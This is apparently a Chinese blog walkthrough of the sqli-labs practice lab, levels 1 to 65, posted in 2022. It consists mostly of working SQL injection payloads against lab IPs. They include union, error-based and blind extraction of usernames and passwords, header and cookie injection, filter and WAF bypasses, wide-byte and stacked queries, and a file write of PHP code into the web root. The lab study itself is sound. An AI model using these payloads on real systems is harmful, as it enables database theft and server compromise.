sqli_libs通关教程

less-1 单引号联合注入

1、判断是字符型还是数字型
Id=2-1 与 id=2 结果相同就是字符型

在这里插入图片描述

在这里插入图片描述

2、判断闭合符 ’

在这里插入图片描述

3、查询字段数量

在这里插入图片描述

4、确认占位信息

在这里插入图片描述

5、查看信息

在这里插入图片描述

获取数据库:
http://192.168.220.135/sql%20injection/sqli-libs/Less-1/index.php?id=-2' union select 1,database(),3--+
获取表名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-1/index.php?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
获取字段名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-1/index.php?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
获取用户信息:
http://192.168.220.135/sql%20injection/sqli-libs/Less-1/index.php?id=-2' union select 1,group_concat(username),group_concat(password) from users --+

less-2 数字型联合注入

判断是字符型还是数字型
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=2-1
查询字段数量
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=2 order by 3--+
确认占位信息
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=-2 union select 1,2,3--+
获取数据库:
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=-2 union select 1,database(),3--+
获取表名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
获取字段名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
获取用户信息:
http://192.168.220.135/sql%20injection/sqli-libs/Less-2/index.php?id=-2 union select 1,group_concat(username),group_concat(password) from users --+

less-3 字符型变形注入

http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=2-1
查询字段数量
http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=2 order by 3--+
确认占位信息
http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=-2 union select 1,2,3--+
获取数据库:
http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=-2 union select 1,database(),3--+
获取表名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
获取字段名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
获取用户信息:
http://192.168.220.135/sql%20injection/sqli-libs/Less-3/index.php?id=-1') union select 1,group_concat(username),3 from users--+

less-4 字符型变形注入

闭合类型为")具体步骤和less-3类似

less-5 报错注入

确认占位信息时,没有显示出来

在这里插入图片描述

有报错,使用报错注入或者bool盲注

1、判断闭合符为 ’

2、获取数据库:

在这里插入图片描述

3、获取表名:

在这里插入图片描述

4、获取字段名:

在这里插入图片描述

5、获取用户信息:

在这里插入图片描述

less-6 报错注入

获取数据库:
http://192.168.220.135/sql%20injection/sqli-libs/Less-6/index.php?id=1" and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
获取表名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-6/index.php?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
获取字段名:
http://192.168.220.135/sql%20injection/sqli-libs/Less-6/index.php?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e),1)--+
获取用户信息:
http://192.168.220.135/sql%20injection/sqli-libs/Less-6/index.php?id=1" and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

less-7 文件注入

1、判断闭合类型

/sqli-libs/Less-7/index.php?id=1'--+ 报错
/sqli-libs/Less-7/index.php?id=1"--+ 正常
/sqli-libs/Less-7/index.php?id=1')--+ 报错
/sqli-libs/Less-7/index.php?id=1'))--+ 正常

判断闭合为 '))

通过提示判断是文件注入

2、查询字段数量是3

3、写入文件

读写权限测试:
id=1’)) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限

http://192.168.220.135/sql%20injection/sqli-libs/Less-7/index.php?id=-1')) union select 1,"<?php phpinfo(); ?>",3 into outfile "D:/phpStudy/WWW/sql injection/sqli-libs/Less-7/2.txt"--+

less-8 布尔盲注

判断盲注特点,输入正确就有you are in…… 不正确就没有输出

1、判断闭合为 '

2、读取数据

判断数据库长度
/sqli-libs/Less-8/index.php?id=1' and length(database())=8--+
判断数据库名
/sqli-libs/Less-8/index.php?id=1' and ascii(substr(database(),1,1))=115--+
判断表的个数
/sqli-libs/Less-8/index.php?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4
判断表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5
判断表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117--+
。。。。

less-9 延时注入

判断延时注入特点,输入正确和错误都是you are in…… 
判断时间注入特点
?id=1' and if(1=2,1,sleep(3))--+

获取数据

判断数据库长度
/sqli-libs/Less-9/index.php?id=1' and if(length(database())=8,sleep(5),1)--+
判断数据库名
/sqli-libs/Less-9/index.php?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
。。。。。。

less-10 延时注入

/sqli-libs/Less-10/index.php?id=1" and if(1=2,1,sleep(3))--+

判断是延时注入,并且闭合类型是 "

具体注入方法和less-9类似

less-11 POST联合注入

使用bp抓包修改提交的数据包里的数据。

1、判断闭合符

uname=admin' --+&passwd=admin&submit=Submit  登入成功
uname=admin" --+&passwd=admin&submit=Submit  登录失败

2、判断列数

uname=admin' order by 2--+&passwd=admin&submit=Submit

3、判断回显位

uname=admin'and 1=2 union select 1,2 --+&passwd=admin&submit=Submit

4、获取数据

库名
uname=admin'and 1=2 union select 1,database() --+&passwd=admin&submit=Submit
表名
uname=admin'and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() --+&passwd=admin&submit=Submit
列名
uname=admin'and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='users' --+&passwd=admin&submit=Submit
用户
uname=admin'and 1=2 union select 1,group_concat(username)from users --+&passwd=admin&submit=Submit
密码
uname=admin'and 1=2 union select 1,group_concat(password)from users --+&passwd=admin&submit=Submit

less-12 POST联合注入

同上less-11一样,不同的是闭合符是:")

less-13 POST报错注入

使用bp抓包修改提交的数据包里的数据。

1、判断闭合符

uname=admin" --+&passwd=admin&submit=Submit  登录失败
uname=admin') --+&passwd=admin&submit=Submit  登入成功

2、判断回显位

uname=admin')and 1=2 union select 1,2 --+&passwd=admin&submit=Submit
发现没有显位

3、有报错,使用报错注入

库名
uname=admin') and updatexml(1,concat(0x7E,(database()),0x7E),1)--+&passwd=admin&submit=Submit
表名
uname=admin') and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1)--+&passwd=admin&submit=Submit
列名
uname=admin') and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7E),1)--+&passwd=admin&submit=Submit
用户
uname=admin') and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1)--+&passwd=admin&submit=Submit

less-14 POST报错注入

同上less-13一样,不同的是闭合符是:"

less-15 POST布尔盲注

使用bp抓包修改提交的数据包里的数据。

1、判断闭合符

uname=admin' --+&passwd=admin&submit=Submit  登录成功
uname=admin" --+&passwd=admin&submit=Submit  登入失败

2、判断没有回显位,没有报错,使用布尔盲注

数据库长度
uname=admin' and length(database())=8--+&passwd=admin&submit=Submit
数据库名
uname=admin' and ascii(substr(database(),1,1))=115--+&passwd=admin&submit=Submit

less-16 POST布尔盲注

同上less-15一样,不同的是闭合符是:")

uname=admin")--+&passwd=admin&submit=Submit

less-17 POST报错注入

使用bp抓包修改提交的数据包里的数据。

1、判断注入位置

uname=admin\&passwd=admin&submit=Submit  登录失败,没有报错
uname=admin&passwd=admin\&submit=Submit  登录失败,有报错
注入位置在密码上

2、判断闭合符

uname=admin&passwd=admin’ --+&submit=Submit  登录成功

剩下同less-13一样,不同的是闭合符是:‘,注入点不同

less-18 User-Agent报头文报错注入

1、判断注入点

登录成功后,User Agent回显,并且加'报错,判断注入点在User Agent

在这里插入图片描述

在这里插入图片描述

2、判断闭合符 '

User-Agent: ' and '1'='1

3、获取数据

库名
User-Agent:' and updatexml(1,concat(0x7E,(database()),0x7E),1) and '1'='1
表名
User-Agent:' and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1) and '1'='1
列名
User-Agent:' and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7E),1) and '1'='1
用户
User-Agent:' and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1) and '1'='1

less-19 Referer报头文报错注入

1、判断注入点

登录成功后,Referer回显,并且加'报错,判断注入点在Referer

在这里插入图片描述

2、判断闭合符 '

Referer: ' and '1'='1

3、获取数据

库名
Referer:' and updatexml(1,concat(0x7E,(database()),0x7E),1) and '1'='1
表名
Referer:' and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1) and '1'='1
列名
Referer:' and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7E),1) and '1'='1
用户
Referer:' and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1) and '1'='1

less-20 Cookie报错注入

1、判断注入点

正常登录界面

在这里插入图片描述

抓包repeater响应界面

在这里插入图片描述

发现两个界面不同,并判断Cookie是注入点

在这里插入图片描述

发现注入页面

2、判断闭合符 '

Cookie: uname=admin'--+

3、获取数据

库名
Cookie: uname=admin' and updatexml(1,concat(0x7E,(database()),0x7E),1)--+
表名
Cookie: uname=admin' and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1)--+
列名
Cookie: uname=admin' and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7E),1)--+
用户
Cookie: uname=admin' and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1)--+

less-21 Cookie 单引号Base64注入

1、判断注入点

在这里插入图片描述

2、判断闭合符 ')

Cookie: uname=YWRtaW4gJyktLSs=  #admin'

3、获取数据

库名
Cookie: uname=YWRtaW4gJykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdFLChkYXRhYmFzZSgpKSwweDdFKSwxKSM=   #admin ') and updatexml(1,concat(0x7E,(database()),0x7E),1)#
.............

less-22 Cookie 双引号Base64注入

同上less-21一样,不同的是闭合符是:"

Cookie: uname=YWRtaW4iIw==

less-23 注释符绕过注入

1、判断闭合符 '

在这里插入图片描述

2、使用–+、#注释符发现报错

在这里插入图片描述

3、使用and '1'='1绕过

在这里插入图片描述

4、获取数据和less-1相同

less-24 二次注入

1、创建一个admin’-- -账号
设置密码为123
2、登录admin’-- -账号
修改密码为123456
3、尝试用admin账号,登录密码123456

less-25 绕过or和and的注入

1、判断闭合符 '

2、过滤了and、or,可以用||、|代替,或者双写绕过anandd、oorr

3、获取数据和less-1相同

less-25a 绕过or和and的注入

1、判断类型为数字型

2、获取数据和less-25相同

less-26 绕过空格、注释和and、or的注入

1、绕过注释和and、or使用anandd '1'='1

2、绕过空格发现使用+,%09,%0A,%0B,%0C,%0D,%A0,%20,/**/都无法绕过

3、使用报错注入

数据库名
http://192.168.220.135/sql%20injection/sqli-libs/Less-26/index.php?id=1' ||updatexml(1,concat(0x2E,database(),0x2E),1)|| '1'='1
剩下的看less-6

less-26a 绕过or、and、空格、注释注入

从第26a关开始,我的sqli-labs就在docker上运行了,因为windows中阿帕奇对空格的转义有问题

1、闭合为')

2、报错没有回显,不能用报错注入,可以使用联合注入或布尔盲注。

3、获取数据

数据库
http://192.168.220.154:9080/Less-26a/index.php?id=')union%a0select%a01,database(),3%a0anandd'1'=('1
表名
http://192.168.220.154:9080/Less-26a/index.php?id=')union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0anandd'1'=('1
字段名
http://192.168.220.154:9080/Less-26a/index.php?id=')union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0anandd'1'=('1
用户信息
http://192.168.220.154:9080/Less-26a/index.php?id=')union%a0select%a01,group_concat(username),3%a0from%a0users%a0anandd'1'=('1

less-27 绕过union和select、注释注入

1、判断闭合符为'

http://192.168.220.154:9080/Less-27/index.php?id=1'  

2、可以使用联合注入或报错注入获取数据

http://192.168.220.154:9080/Less-27/index.php?id=1'  union select 1,2,3and '1'='1  发现过滤了union、select和空格

使用大小写绕过union和select过滤

数据库名
http://192.168.220.154:9080/Less-27/index.php?id= '  uNion%a0selEct%a01,database(),3%a0and('1')='1
剩下参考less-26a联合注入

less-27a 绕过union和select、注释注入

1、判断闭合为"

http://192.168.220.154:9080/Less-27a/index.php?id=1"and"1"="1

2、可以使用联合注入,无法使用报错注入没有错误回显

在这里插入图片描述

发现过滤了select、union,使用大小写绕过

http://192.168.220.154:9080/Less-27a/index.php?id="%a0uNion%a0selEct%a01,database(),3%a0and("1")="1

剩下参考less-26a

less-28 绕过空格、注释注入

1、判断闭合符')

http://192.168.220.154:9080/Less-28/index.php?id=1' and('1')='1 返回成功
http://192.168.220.154:9080/Less-28/index.php?id=2' and('1')='1 返回成功
并且两个界面返回相同,判断闭合有  )

2、使用联合注入

数据库名
http://192.168.220.154:9080/Less-28/index.php?id= ') union%a0select%a01,database(),3%a0and('1')=('1

less-28a 绕过空格、注释注入

http://192.168.220.154:9080/Less-28a/index.php?id= ') union%a0select%a01,database(),3%a0and('1')=('1

参考less-28

less-29 绕过WAF注入

1、判断闭合符为'

2、获取数据

http://192.168.220.154:9080/Less-29/index.php?id= ' union select 1,database(),3--+

参考less-1

less-30 绕过WAF注入

1、判断闭合符为"

2、获取数据

http://192.168.220.154:9080/Less-30/index.php?id= "  union select 1,database(),3--+

参考less-1

less-31 绕过WAF注入

1、判断闭合符为")

2、获取数据

http://192.168.220.154:9080/Less-31/index.php?id= ")  union select 1,database(),3--+

参考less-1

less-32 宽字节注入

1、判断闭合符为'

http://192.168.220.154:9080/Less-32/index.php?id=1%df'

2、使用联合注入或报错注入

数据库名
http://192.168.220.154:9080/Less-32/index.php?id= %df' union select 1,database(),3--+
表名
http://192.168.220.154:9080/Less-32/index.php?id= %df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
字段名
http://192.168.220.154:9080/Less-32/index.php?id= %df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

less-33 GET宽字节注入

参考less-32

less-34 POST宽字节注入

uname=admin%df' union select 1,2--+&passwd=admin&submit=Submit

less-35 联合注入

http://192.168.220.154:9080/Less-35/index.php?id=-1 union select 1,2,3--+

less-36 宽字节注入

http://192.168.220.154:9080/Less-36/index.php?id= %df'  union select 1,2,3--+

less-37 POST宽字节注入

uname=admin%df' union select 1,2--+&passwd=admin&submit=Submit

less-38 堆叠注入

http://192.168.220.154:9080/Less-38/index.php?id= '  union select 1,2,3--+

1';create table test like users;%23

less-39 堆叠注入

http://192.168.220.154:9080/Less-39/index.php?id=-1 union select 1,2,3--+
1;create table test39 like users;

less-40 堆叠注入

http://192.168.220.154:9080/Less-40/index.php?id=1') union select 1,2,3--+
1');create table test40 like users;(%23

less-41 联合注入

http://192.168.220.154:9080/Less-41/index.php?id=-1 union select 1,2,3

less-42 POST报错注入

1、寻找注入点

在login_user处尝试构造注入点,但发现注入。后找到注入点在login_password

2、使用'闭合

3、获取数据

login_user=admin&login_password=admin' and updatexml(1,concat(0x7E,database(),0x7E),1)--+&mysubmit=Login

less-43 POST报错注入

login_user=admin&login_password=admin') and updatexml(1,concat(0x7E,database(),0x7E),1)--+&mysubmit=Login

less-44 POST布尔盲注

login_user=admin&login_password=admin' and length(database())=8--+&mysubmit=Login

在这里插入图片描述

less-45 POST布尔盲注

login_user=admin&login_password=admin')--+&mysubmit=Login

和less-44相同只是把闭合符换成了"

less-46 order by整数型报错注入

获取数据

数据库
http://192.168.220.154:9080/Less-46/index.php?sort=1 and updatexml(1,concat(0x7E,database(),0x7E),1)
表名
http://192.168.220.154:9080/Less-46/index.php?sort=1 and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1)
字段名
http://192.168.220.154:9080/Less-46/index.php?sort=1 and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7E),1)
用户信息
http://192.168.220.154:9080/Less-46/index.php?sort=1 and updatexml(1,concat(0x7E,(select group_concat(username) from users),0x7E),1)

less-47 order by字符型报错注入

http://192.168.220.154:9080/Less-47/index.php?sort=1' and updatexml(1,concat(0x7E,(database()),0x7E),1)--+

less-48 order by延时注入

http://192.168.220.154:9080/Less-48/index.php?sort=1 and if(length(database())=5 ,sleep(1),1)

less-49 order by延时注入

http://192.168.220.154:9080/Less-49/index.php?sort=1' and if(length(database())=8 ,sleep(1),1)--+

less-50 order by报错注入、堆叠注入

http://192.168.220.154:9080/Less-50/index.php?sort=1 and updatexml(1,concat(0x7E,(database()),0x7E),1)
堆叠注入
1;create table test50 like users;%23

less-51 order by报错注入、堆叠注入

http://192.168.220.154:9080/Less-51/index.php?sort=1' and updatexml(1,concat(0x7E,(database()),0x7E),1)--+
堆叠注入
1';create table test50 like users;%23

less-52 order by延时盲注、堆叠注入

http://192.168.220.154:9080/Less-52/index.php?sort=1 and if(length(database())=8,1,sleep(1))
堆叠注入
1;create table test52 like users;

less-53 order by延时盲注、堆叠注入

http://192.168.220.154:9080/Less-53/index.php?sort=1' and if(length(database())=8,sleep(1),1)--+
堆叠注入
1';create table test52 like users;%23

less-54 联合查询注入(十次限制)

对输入的次数做了限制,必须在10次请求之内获取信息,否则会刷新表名

数据库
http://192.168.220.154:9080/Less-54/index.php?id= ' union select 1,database(),3--+
表名
http://192.168.220.154:9080/Less-54/index.php?id= ' union select 1,group_concat(table_name),3 form information_schema.tables where table_schema=database()--+

less-55 联合查询注入(十四次限制)

闭合 )

http://192.168.220.154:9080/Less-55/index.php?id=1)--+

剩下的和less-54相同

less-56 联合查询注入(十四次限制)

闭合'

http://192.168.220.154:9080/Less-56/index.php?id=-1') union select 1,2,3--+

剩下的和less-54相同

less-57 联合查询注入(十四次限制)

闭合"

http://192.168.220.154:9080/Less-57/index.php?id=-1" union select 1,2,3--+

剩下的和less-54相同

less-58 报错注入(五次限制)

有报错回显,闭合符'

数据库
http://192.168.220.154:9080/Less-58/index.php?id=1' and updatexml(1,concat(0x7E,database(),0x7E),1)--+
表名
http://192.168.220.154:9080/Less-58/index.php?id=1' and updatexml(1,concat(0x7E,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7E),1)--+
字段名
http://192.168.220.154:9080/Less-58/index.php?id=1' and updatexml(1,concat(0x7E,(select group_concat(column_name) from information_schema.columns where table_name='OJCZK8MR6Z'),0x7E),1)--+
用户信息
http://192.168.220.154:9080/Less-58/index.php?id=1' and updatexml(1,concat(0x7E,(select group_concat(sessid) from OJCZK8MR6Z),0x7E),1)--+

less-59 报错注入(五次限制)

有报错回显,数字型

剩下的和less-58相同

less-60 报错注入(五次限制)

有报错回显,闭合符")

剩下的和less-58相同

less-61 报错注入(五次限制)

有报错回显,闭合符'))

剩下的和less-58相同

less-62 布尔盲注(一百三十次限制)

无报错回显,闭合符'),使用布尔盲注

数据库长度
http://192.168.220.154:9080/Less-62/index.php?id=1') and length(database())=10--+
数据库名
http://192.168.220.154:9080/Less-62/index.php?id=1') and ascii(substr(database(),1,1))<1000--+

less-63 布尔盲注(一百三十次限制)

无报错回显,闭合符',使用布尔盲注

剩下的和less-62相同

less-64 布尔盲注(一百三十次限制)

无报错回显,闭合符)),使用布尔盲注

剩下的和less-62相同

less-65 布尔盲注(一百三十次限制)

无报错回显,闭合符"),使用布尔盲注

剩下的和less-62相同

posted @ 2022-07-06 18:24  爱吃_白菜  阅读(259)  评论(0编辑  收藏  举报